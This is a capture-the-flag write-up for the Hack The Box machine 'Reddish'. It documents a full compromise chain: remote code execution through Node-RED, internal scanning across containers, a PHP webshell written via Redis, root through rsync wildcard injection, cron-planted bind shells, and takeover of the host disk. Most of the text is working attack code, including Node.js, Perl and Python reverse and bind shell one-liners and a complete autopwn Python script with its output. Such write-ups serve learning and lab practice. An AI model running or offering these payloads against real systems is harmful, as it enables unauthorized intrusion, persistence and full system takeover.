Reddish write-up by Alamot

Hello guys, long time no see! Apologies for my absence but I don’t have much free time anymore. As a matter of fact, what follows is not even a proper write-up. It’s mostly some rough notes and an excuse to upload my autopwn script ^_^. Sorry in advance for any shortcomings you may encounter when reading these notes. Now, let’s start…

External enumeration

Port scanning

Let’s scan the full range of TCP ports using my tool htbscan.py (you can find it here: code-snippets/htbscan.py at master · Alamot/code-snippets · GitHub).

$ sudo htbscan.py 10.10.10.94 100

Running command: sudo masscan -e tun0 -p0-65535 --max-rate 100 --interactive 10.10.10.94

Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2018-09-08 16:22:52 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65536 ports/host]
Discovered open port 1880/tcp on 10.10.10.94                                   
  
Running command: sudo nmap -A -p1880 10.10.10.94

Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-08 19:45 EEST
Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan
NSE Timing: About 0.00% done
Nmap scan report for 10.10.10.94
Host is up (0.072s latency).

PORT     STATE SERVICE VERSION
1880/tcp open  http    Node.js Express framework
|_http-title: Error
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.12 (95%), Linux 3.13 (95%), Linux 3.16 (95%), Linux 3.18 (95%), Linux 3.2 - 4.9 (95%), Linux 3.8 - 3.11 (95%), Linux 4.2 (95%), Linux 4.4 (95%), Linux 4.8 (95%), Linux 4.9 (95%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

TRACEROUTE (using port 1880/tcp)
HOP RTT      ADDRESS
1   76.05 ms 10.10.14.1
2   75.88 ms 10.10.10.94

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.00 seconds

Exploring 1880

If we visit http://10.10.10.94:1880/ we see this:

Cannot GET /

Fine, we cannot GET. Let’s try POST :wink:

$ curl -X POST http://10.10.10.94:1880/

{"id":"9049308ee96e3f2cd544e2bd8866f530","ip":"::ffff:10.10.12.215","path":"/red/{id}"}

Bingo! Now, if we visit http://10.10.10.94:1880/red/9049308ee96e3f2cd544e2bd8866f530/ we will encounter Node-RED (See https://nodered.org/ and Node-RED - Wikipedia).

External exploitation

Getting shell (root@nodered)

We can use Node-RED features to upload files (‘file’ block) and to execute commands (‘exec’ block). Have a look here: Gaining RCE by abusing Node-RED | QTNKSR

It’s really easy (if you know what to do):

  1. Drag and drop an ‘inject’ block.
  2. Double click it.
  3. Select ‘string’ in the ‘payload’ dropdown menu and insert your payload.
  4. To execute your payload, connect the inject block with an ‘exec’ block. To upload your payload, connect the ‘inject’ block with a ‘file’ block.
  5. To fire the flow, just press the square button on the left of the ‘inject’ block.

For reverse shell payloads you can use, for example, the following:

node -e '(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(60000, "10.10.*.*", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; })();'

or

$ msfvenom -p nodejs/shell_reverse_tcp LHOST=10.10.*.* LPORT=60000 

node -e '(function(){ var require = global.require || global.process.mainModule.constructor._load; if (!require) return; var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh"; var net = require("net"), cp = require("child_process"), util = require("util"), sh = cp.spawn(cmd, []); var client = this; var counter=0; function StagerRepeat(){ client.socket = net.connect(60000, "10.10.13.174", function() { client.socket.pipe(sh.stdin); if (typeof util.pump === "undefined") { sh.stdout.pipe(client.socket); sh.stderr.pipe(client.socket); } else { util.pump(sh.stdout, client.socket); util.pump(sh.stderr, client.socket); } }); socket.on("error", function(error) { counter++; if(counter<= 10){ setTimeout(function() { StagerRepeat();}, 5.0*1000); } else process.exit(); }); } StagerRepeat(); })();'

You can also use perl reverse shells. Perl interpreter is available in all the containers and can be used as a substitute for many tools that are missing (including nmap, nc and many others). Nevertheless, it’s very handy to upload a static binary of nc or socat (e.g. static-binaries/socat at master · andrew-d/static-binaries · GitHub).
We can convert it to a base64 payload in order to inject it as a string:

$ cat socat | base64 

And once we have upload it we can decode it like this:

root@nodered:/# cat socat.b64 | base64 -d > socat
root@nodered:/# chmod +x socat

Internal enumeration (Look Mom, no nmap)

Let’s have a look at /etc/hosts:

root@nodered:/# cat /etc/hosts

cat /etc/hosts
127.0.0.1	localhost
::1	localhost ip6-localhost ip6-loopback
fe00::0	ip6-localnet
ff00::0	ip6-mcastprefix
ff02::1	ip6-allnodes
ff02::2	ip6-allrouters
172.18.0.2	nodered
172.19.0.4	nodered

Let’s ping sweep hosts in 172.18.0.1-255:

root@nodered:/# for i in `seq 1 255`; do ping -c 1 -W 1 172.18.0.$i | grep 'from'; done
64 bytes from 172.18.0.1: icmp_seq=1 ttl=64 time=0.072 ms
64 bytes from 172.18.0.2: icmp_seq=1 ttl=64 time=0.024 ms

Let’s ping sweep hosts in 172.19.0.1-255:

root@nodered:/# for i in `seq 1 255`; do ping -c 1 -W 1 172.19.0.$i | grep 'from'; done
64 bytes from 172.19.0.1: icmp_seq=1 ttl=64 time=0.102 ms
64 bytes from 172.19.0.2: icmp_seq=1 ttl=64 time=0.210 ms
64 bytes from 172.19.0.3: icmp_seq=1 ttl=64 time=0.161 ms
64 bytes from 172.19.0.4: icmp_seq=1 ttl=64 time=0.066 ms

Now, it’s time for nc port scanning:

root@nodered:/# nc -zv 172.18.0.1 1-65535
172.18.0.1: inverse host lookup failed: Host name lookup failure
(UNKNOWN) [172.18.0.1] 1880 (?) open

root@nodered:/# $ nc -zv 172.18.0.2 1-65535
nodered [172.18.0.2] 1880 open
nodered [172.18.0.2] 3000 open

root@nodered:/# nc -zv 172.19.0.1 1-65535 
-

root@nodered:/# nc -zv 172.19.0.2 1-65535
reddish_composition_redis_1.reddish_composition_internal-network [172.19.0.2] 6379 (?) open

root@nodered:/# nc -zv 172.19.0.3 1-65535 
reddish_composition_www_1.reddish_composition_internal-network [172.19.0.3] 80 (?) open

root@nodered:/# nc -zv 172.19.0.4 1-65535
nodered [172.19.0.4] 43096 (?) open
nodered [172.19.0.4] 1880 (?) open

Note that your results may vary (i.e. the IPs for redis and www are not stable).


You can also use perl code to scan IPs and ports. For example, here is an one-liner port scanner written in perl:

root@nodered:/# perl -e 'use IO::Socket;for ($i=1;$i<65536;$i++) { if (my $s=IO::Socket::INET->new(PeerAddr=>"170.20.0.1",PeerPort=>$i,Proto=>"tcp") ) { print "$i\n";close ($s); }}'

Internal exploitation

Exploiting Redis

We can use Redis to write files. Have a look here:

https://packetstormsecurity.com/files/134200/Redis-Remote-Command-Execution.html
http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html

The redis and www containers share a common folder. Therefore, we can upload a php file on the www containter via redis. According to my notes, there is a ajax.php script that works like this:

http://www/8924d0549008565c554f8128cd11fda4/ajax.php?test=info
http://www/8924d0549008565c554f8128cd11fda4/ajax.php?test=flushall
http://www/8924d0549008565c554f8128cd11fda4/ajax.php?test=config set dir /var/www/html/f187a0ec71ce99642e4f0afbd441a68b/
http://www/8924d0549008565c554f8128cd11fda4/ajax.php?test=config set dbfilename info.php
http://www/8924d0549008565c554f8128cd11fda4/ajax.php?test=%73%65%74%20%74%65%73%74%20%22%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%20%3f%3e%22 [url-encoded: set test "<?php phpinfo(); ?>"]
http://www/8924d0549008565c554f8128cd11fda4/ajax.php?test=bgsave
http://www/f187a0ec71ce99642e4f0afbd441a68b/info.php

But I prefer to talk raw Redis. Have a look here How to talk raw Redis - Compose Articles
and here Redis Protocol specification – Redis. So, basically, we can do something like this:

echo -ne '*1\r\n$8\r\nFLUSHALL\r\n*3\r\n$3\r\nSET\r\n$1\r\n1\r\n$32\r\n<?php shell_exec($_GET["e"]); ?>\r\n*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$5\r\nz.php\r\n*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\ndir\r\n$46\r\n/var/www/html/8924d0549008565c554f8128cd11fda4\r\n*1\r\n$4\r\nSAVE\r\n' | /tmp/socat - TCP:redis:6379

Getting www-data@www

So, by exploiting Redis to upload a php file on the www container we have RCE like this:

root@nodered:/# echo -n 'GET /8924d0549008565c554f8128cd11fda4/nz.php?e=$(whoami)@$(hostname) HTTP/1.1\r\nHost: localhost\r\nUser-Agent: curl\r\n\r\n' | /tmp/socat - TCP:www:80

www-data@www

To get a shell, you can url-encode a perl bind shell payload and use it as a value for the e parameter.

Getting root@www

Let’s examine /backup/backup.sh

www-data@www:/$ cat /backup/backup.sh

cd /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
rsync -a *.rdb rsync://backup:873/src/rdb/
cd / && rm -rf /var/www/html/*
rsync -a rsync://backup:873/src/backup/ /var/www/html/
chown www-data. /var/www/html/f187a0ec71ce99642e4f0afbd441a68b

Rsync is running as root. Did you notice the beautiful wildcard (*.rdb) ? :slight_smile: Read this https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt

www-data@www:/$ echo "/bin/cp /bin/bash /dev/shm/;/bin/chmod 4755 /dev/shm/bash" > "/var/www/html/f187a0ec71ce99642e4f0afbd441a68b/-e sh test.rdb"

www-data@www:/$ touch "/var/www/html/f187a0ec71ce99642e4f0afbd441a68b/-e sh test.rdb"
www-data@www:/$ /dev/shm/bash -i -p
a4f3c01b-4.3# whoami
root

Getting root@backup

We can execute a perl bind shell by exploiting rsync:

a4f3c01b-4.3# echo 'use Socket;$p=60004;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);close C){open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("/bin/bash -i");};' > /tmp/test1.pl

a4f3c01b-4.3# echo '* * * * * root /usr/bin/perl /tmp/test1.pl' > /tmp/crontest

a4f3c01b-4.3# rsync -avR /tmp/test1.pl backup::src/tmp/
a4f3c01b-4.3# rsync -avR /tmp/crontest backup::src/etc/cron.d/

Then we can use this one-liner perl netcat (https://www.perlmonks.org/?node_id=942861) to connect to our previously established bind shell (just make sure you wait a little for our cronjob to run first):

a4f3c01b-4.3# perl -MFcntl=F_SETFL,F_GETFL,O_NONBLOCK -MSocket '-e$0=perl;socket($c,AF_INET,SOCK_STREAM,0)&&connect($c,pack_sockaddr_in(60004,inet_aton("backup")))||die$!;fcntl$_,F_SETFL,O_NONBLOCK|fcntl$_,F_GETFL,0 for@d=(*STDIN,$c),@e=($c,*STDOUT);L:for(0,1){sysread($d[$_],$f,8**5)||exit and$f[$_].=$f if vec$g,$_*($h=fileno$c),1;substr$f[$_],0,syswrite($e[$_],$f[$_],8**5),"";vec($g,$_*$h,1)=($i=length$f[$_]<8**5);vec($j,$_||$h,1)=!!$i}select$g,$j,$k,5;goto L

Getting root@reddish

If you run the mount command you will discover some interesting partitions /dev/sdaX (i.e. the partitions of the host). To read root.txt, just mount /mnt/sda1:

root@backup:~# mkdir /mnt/sda1
root@backup:~# mount /dev/sda1 /mnt/sda1
root@backup:~# cat /mnt/sda1/root/root.txt

To get a root shell, you can write -for example- a cronjob inside /mnt/sda1/etc/cron.d/:

root@backup:~# echo "import os,pty,socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((LHOST, LPORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.putenv('HISTFILE','/dev/null');pty.spawn(['/bin/bash','-i']);s.close();exit();" > /mnt/sda1/tmp/shell.py 

root@backup:~# echo '* * * * * root /usr/bin/python /tmp/shell.py' > /mnt/sda1/etc/cron.d/cronjob

Autopwn script

Here is my autopwn script (code-snippets/hacking/HTB/Reddish at master · Alamot/code-snippets · GitHub , note that you need socat binary too):

#!/usr/bin/env python2
# Author: Alamot
import json
import time
import uuid
import fcntl
import base64
import urllib
import random
import requests
from pwn import *


def get_ip_address(ifname):
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    return socket.inet_ntoa(fcntl.ioctl(
        s.fileno(),
        0x8915,  # SIOCGIFADDR
        struct.pack('256s', ifname[:15].encode())
    )[20:24])


# context.log_level = 'debug'
LHOST = get_ip_address('tun0')
LPORT1 = "60000"
LPORT2 = str(random.randint(60003, 62535))
LPORT3 = str(random.randint(62535, 65535))
LPORT4 = "60001"
UUIDNAME = str(uuid.uuid4())[:8]
SOCAT_SRCPATH = "socat"
SOCAT_DSTPATH = "/var/tmp/socat" + UUIDNAME
SUBASH_PATH = "/var/tmp/" + UUIDNAME
CRONPL_PATH = "/tmp/" + UUIDNAME


def send_payloads():
    session = requests.Session()
    
    # Get id
    p1 = log.progress("Getting our id")
    headers = {"User-Agent":"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)","Connection":"close","Accept-Language":"en","Accept":"*/*"}
    try:
        response = session.post("http://10.10.10.94:1880/", headers=headers)
        if response.status_code != 200:
            p1.failure("Status "+str(response.status_code))
            sys.exit()
        else:
            uid = json_data = json.loads(response.text)["id"].strip()
            p1.success("OK (id = " + uid + ")")
    except requests.exceptions.RequestException as e:
        p1.failure(str(e))
        sys.exit()
        
    # Load flows
    p2 = log.progress("Loading node-red flows")
    with open(SOCAT_SRCPATH, 'r') as f:
        b64upload = base64.b64encode(f.read())
    rawBody = "{\"flows\":[{\"id\":\"e97f052f.2f3d48\",\"type\":\"tab\",\"label\":\"Flow 1\"},{\"id\":\"6c08c84b.d9c578\",\"type\":\"inject\",\"z\":\"e97f052f.2f3d48\",\"name\":\"\",\"topic\":\"\",\"payload\":\"node -e '(function(){ var  cp = require(\\\"child_process\\\"), sh = cp.spawn(\\\"/bin/sh\\\", [\\\"-c\\\", \\\"cat " + SOCAT_DSTPATH + ".b64 | base64 -d > " +SOCAT_DSTPATH + " && chmod +x " + SOCAT_DSTPATH + " && " + SOCAT_DSTPATH + " exec:/bin/bash,pty,rawer,echo=0,stderr,setsid,sigint tcp:" + LHOST + ":" + LPORT1 + "\\\"]); return /a/; })();'\",\"payloadType\":\"str\",\"repeat\":\"\",\"crontab\":\"\",\"once\":false,\"onceDelay\":0.1,\"x\":151,\"y\":88,\"wires\":[[\"d27da06a.44a1a\"]]},{\"id\":\"d27da06a.44a1a\",\"type\":\"exec\",\"z\":\"e97f052f.2f3d48\",\"command\":\"\",\"addpay\":true,\"append\":\"\",\"useSpawn\":\"false\",\"timer\":\"\",\"oldrc\":false,\"name\":\"\",\"x\":310,\"y\":80,\"wires\":[[],[],[]]},{\"id\":\"fae51292.d8e68\",\"type\":\"inject\",\"z\":\"e97f052f.2f3d48\",\"name\":\"\",\"topic\":\"\",\"payload\":\"" + b64upload +"\",\"payloadType\":\"str\",\"repeat\":\"\",\"crontab\":\"\",\"once\":false,\"onceDelay\":0.1,\"x\":113,\"y\":260,\"wires\":[[\"7e1e7cb5.664234\"]]},{\"id\":\"7e1e7cb5.664234\",\"type\":\"file\",\"z\":\"e97f052f.2f3d48\",\"name\":\"\",\"filename\":\"" + SOCAT_DSTPATH +".b64\",\"appendNewline\":false,\"createDir\":false,\"overwriteFile\":\"true\",\"x\":320,\"y\":260,\"wires\":[]}]}"
    headers = {"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0","Referer":"http://10.10.10.94:1880/red/"+uid+"/flows","Node-RED-API-Version":"v2","Connection":"close","Accept-Language":"en-US,en;q=0.5","DNT":"1","Content-Type":"application/json; charset=utf-8","Node-RED-Deployment-Type":"full"}
    try:
        response = session.post("http://10.10.10.94:1880/red/"+uid+"/flows", data=rawBody, headers=headers)
        if response.status_code != 200:
            p2.failure("Status "+str(response.status_code))
            sys.exit()
        else:
            p2.success("OK")
    except requests.exceptions.RequestException as e:
        p2.failure(str(e))
        sys.exit()

    # Inject base64-encoded socat
    p3 = log.progress("Injecting base64-encoded socat")
    headers = {"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0","Referer":"http://10.10.10.94:1880/red/"+uid+"/inject/fae51292.d8e68","Node-RED-API-Version":"v2","Connection":"close","Accept-Language":"en-US,en;q=0.5","DNT":"1"}
    try:
        response = session.post("http://10.10.10.94:1880/red/"+uid+"/inject/fae51292.d8e68", headers=headers)
        if response.status_code != 200:
            p3.failure("Status "+str(response.status_code))
            sys.exit()
        else:
            p3.success("OK")
    except requests.exceptions.RequestException as e:
        p3.failure(str(e))
        sys.exit()

    # Inject nodejs reverse shell
    p4 = log.progress("Injecting socat reverse shell via nodejs [" + LHOST + ":" + str(LPORT1) + "]")
    headers = {"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0","Referer":"http://10.10.10.94:1880/red/" + uid + "/inject/6c08c84b.d9c578","Node-RED-API-Version":"v2","Connection":"close","Accept-Language":"en-US,en;q=0.5","DNT":"1"}
    try:
        response = session.post("http://10.10.10.94:1880/red/" + uid + "/inject/6c08c84b.d9c578", headers=headers)
        if response.status_code != 200:
            p4.failure("Status "+str(response.status_code))
            sys.exit()
        else:
            p4.success("OK")
    except requests.exceptions.RequestException as e:
        p4.failure(str(e))
        sys.exit()


print("What shell do you want?")
print("[1] root@nodered")
print("[2] www-data@www")
print("[3] root@www")
print("[4] root@backup")
print("[5] root@reddish")
print("[6] Exit")
response = None
while response not in ["1", "2", "3", "4", "5", "6"]:
    response = raw_input("Please enter a number 1-6: ").strip()
if response == "6":
    sys.exit()

try:
    threading.Thread(target=send_payloads).start()
except Exception as e:
    log.error(str(e))
socat = listen(LPORT1, bindaddr=LHOST, timeout=20).wait_for_connection()

if response == "1":
    socat.interactive()
    sys.exit()

with log.progress("Uploading " + UUIDNAME + ".php on the www container via redis") as p:
    socat.sendline("/bin/echo -ne '*1\\r\\n$8\\r\\nFLUSHALL\\r\\n*3\\r\\n$3\\r\\nSET\\r\\n$1\\r\\n1\\r\\n$45\\r\\n<?php echo shell_exec($_GET[\"e\"].\" 2>&1\"); ?>\\r\\n*4\\r\\n$6\\r\\nCONFIG\\r\\n$3\\r\\nSET\\r\\n$10\\r\\ndbfilename\\r\\n$12\\r\\n" + UUIDNAME +  ".php\\r\\n*4\\r\\n$6\\r\\nCONFIG\\r\\n$3\\r\\nSET\\r\\n$3\\r\\ndir\\r\\n$46\\r\\n/var/www/html/8924d0549008565c554f8128cd11fda4\\r\\n*1\\r\\n$4\\r\\nSAVE\\r\\n' | " + SOCAT_DSTPATH + " - TCP:redis:6379")
    socat.sendline("/bin/echo -ne 'GET /8924d0549008565c554f8128cd11fda4/" + UUIDNAME+ ".php?e=$(whoami)@$(hostname)END HTTP/1.1\\r\\nHost: nodered\\r\\nUser-agent: curl\\r\\n\\r\\n' | " + SOCAT_DSTPATH + " - TCP:www:80")
    output = socat.recvuntil("www-data@www")
    if "www-data@www" in output:
        p.success("OK (user = www-data@www)")
    else:
        p.failure("FAIL")
        sys.exit()

with log.progress("Sending perl bind shell [www-data@www:" + str(LPORT2) + "] via " + UUIDNAME + ".php & trying to connect") as p:
    perl_payload = "perl -e 'use Socket;$p=" + str(LPORT2) +";socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);close C){open(STDIN,\">&C\");open(STDOUT,\">&C\");open(STDERR,\">&C\");exec(\"/bin/bash -i\");};'"
    urled_perl_payload = urllib.quote_plus(perl_payload)
    socat.sendline("/bin/echo -ne 'GET /8924d0549008565c554f8128cd11fda4/" + UUIDNAME + ".php?e=" + urled_perl_payload + " HTTP/1.1\\r\\nHost: nodered\\r\\nUser-Agent: curl\\r\\n\\r\\n' | " + SOCAT_DSTPATH + " - TCP:www:80")
    socat.sendline(SOCAT_DSTPATH + " file:`tty`,echo=0,rawer TCP:www:" + str(LPORT2))
    output = socat.recvuntil("shell", timeout=20)
    if "shell" in output:
        p.success("OK")
    else:
        p.failure("FAIL")
        sys.exit()
    socat.sendline("script --return -c '/bin/bash -i' /dev/null")
    socat.clean(1)
    socat.sendline("stty raw -echo")
    
if response == "2":
    socat.interactive()
    sys.exit()

with log.progress("Exploiting wildcards for privesc. Wait at most 180 secs for rsync backup job to run") as p:
    socat.sendline('echo "/bin/cp /bin/bash ' + SUBASH_PATH + ';/bin/chmod 4755 ' + SUBASH_PATH + '" > "/var/www/html/f187a0ec71ce99642e4f0afbd441a68b/' + UUIDNAME + '.rdb"')
    socat.sendline('touch "/var/www/html/f187a0ec71ce99642e4f0afbd441a68b/-e sh ' + UUIDNAME + '.rdb"')
    count = 0
    while True:
        p.status(str(count))
        sleep(1)
        socat.sendline("[ -f " + SUBASH_PATH + " ] && echo 'OK' || echo 'NO'")
        socat.recvuntil('$ ')
        output = socat.recv(3).strip()
        if "OK" in output:
            p.success("OK")
            break
        count += 1
        if count > 180:
            p.failure("FAIL")
            sys.exit()
    socat.sendline(SUBASH_PATH + ' -i -p')
    socat.sendline("cd /root")
    socat.clean(1)

if response == "3":
    socat.interactive()
    sys.exit()

with log.progress("Sending a cronjob for bind shell [root@backup:" +str(LPORT3)+ "]. Please wait") as p:
    socat.sendline("echo 'use Socket;$p=" + str(LPORT3) + ";socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);close C){open(STDIN,\">&C\");open(STDOUT,\">&C\");open(STDERR,\">&C\");exec(\"/bin/bash -i\");};' > " + CRONPL_PATH + ".pl")
    socat.sendline("echo '* * * * * root /usr/bin/perl " + CRONPL_PATH +  ".pl' > " + CRONPL_PATH + "cronjob")
    socat.sendline("rsync -a " + CRONPL_PATH + ".pl backup::src" + CRONPL_PATH + ".pl")
    socat.sendline("rsync -a " + CRONPL_PATH + "cronjob backup::src/etc/cron.d/")
    for i in range(62):
        p.status(str(61 - i))
        time.sleep(1)
    socat.sendline("perl -MFcntl=F_SETFL,F_GETFL,O_NONBLOCK -MSocket '-e$0=perl;socket($c,AF_INET,SOCK_STREAM,0)&&connect($c,pack_sockaddr_in("+ str(LPORT3) + ",inet_aton(\"backup\")))||die$!;fcntl$_,F_SETFL,O_NONBLOCK|fcntl$_,F_GETFL,0 for@d=(*STDIN,$c),@e=($c,*STDOUT);L:for(0,1){sysread($d[$_],$f,8**5)||exit and$f[$_].=$f if vec$g,$_*($h=fileno$c),1;substr$f[$_],0,syswrite($e[$_],$f[$_],8**5),\"\";vec($g,$_*$h,1)=($i=length$f[$_]<8**5);vec($j,$_||$h,1)=!!$i}select$g,$j,$k,5;goto L'")
    output = socat.recvuntil("shell", timeout=20)
    if "shell" in output:
        p.success("OK")
    else:
        p.failure("FAIL")
        sys.exit()
    socat.sendline("script --return -c '/bin/bash -i' /dev/null")
    socat.clean(1)
    socat.sendline("stty raw -echo")
    
if response == "4":
    socat.interactive()
    sys.exit()

with log.progress("Sending reverse shell cronjob [" + LHOST + ":" +str(LPORT4)+ "] for root@host. Please wait") as p:
    socat.sendline("mkdir /mnt/sda1")
    socat.sendline("mount /dev/sda1 /mnt/sda1")
    socat.sendline("cat /mnt/sda1/root/root.txt")
    socat.sendline("echo 'import os,pty,socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"" + LHOST + "\"," + str(LPORT4) + "));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.putenv(\"HISTFILE\",\"/dev/null\");pty.spawn([\"/bin/bash\",\"-i\"]);s.close();exit();' > /mnt/sda1/tmp/" + UUIDNAME + ".py") 
    socat.sendline("echo '* * * * * root /usr/bin/python /tmp/" + UUIDNAME + ".py' > /mnt/sda1/etc/cron.d/" + UUIDNAME + "cronjob")
    host_shell = listen(LPORT4, bindaddr=LHOST, timeout=65).wait_for_connection()
    if host_shell.sock is None:
        p.failure("FAIL")
        sys.exit()
    else:
        p.success("OK")
    host_shell.interactive()
    sys.exit()


'''
$ ./autopwn_reddish.py 
What shell do you want?
[1] root@nodered
[2] www-data@www
[3] root@www
[4] root@backup
[5] root@reddish
[6] Exit
Please enter a number 1-6: 5
[+] Getting our id: OK (id = 25af4604ab3402f2bdea796ac32bbcc3)
[+] Trying to bind to 10.10.12.229 on port 60000: Done
[+] Waiting for connections on 10.10.12.229:60000: Got connection from 10.10.10.94 on port 46784
[+] Loading node-red flows: OK
[+] Injecting base64-encoded socat: OK
[+] Injecting socat reverse shell via nodejs [10.10.12.229:60000]: OK
[+] Uploading 1994851d.php on the www container via redis: OK (user = www-data@www)
[+] Sending perl bind shell [www-data@www:61031] via 1994851d.php & trying to connect: OK
[+] Exploiting wildcards for privesc. Wait at most 180 secs for rsync backup job to run: OK
[+] Sending a cronjob for bind shell [root@backup:65104]. Please wait: OK
[+] Sending reverse shell cronjob 10.10.12.229:60001] for root@host. Please wait: OK
[+] Trying to bind to 10.10.12.229 on port 60001: Done
[+] Waiting for connections on 10.10.12.229:60001: Got connection from 10.10.10.94 on port 50432
[*] Switching to interactive mode
root@reddish:~# $  
'''

That’s all folks :slight_smile:

excellent, very elegant way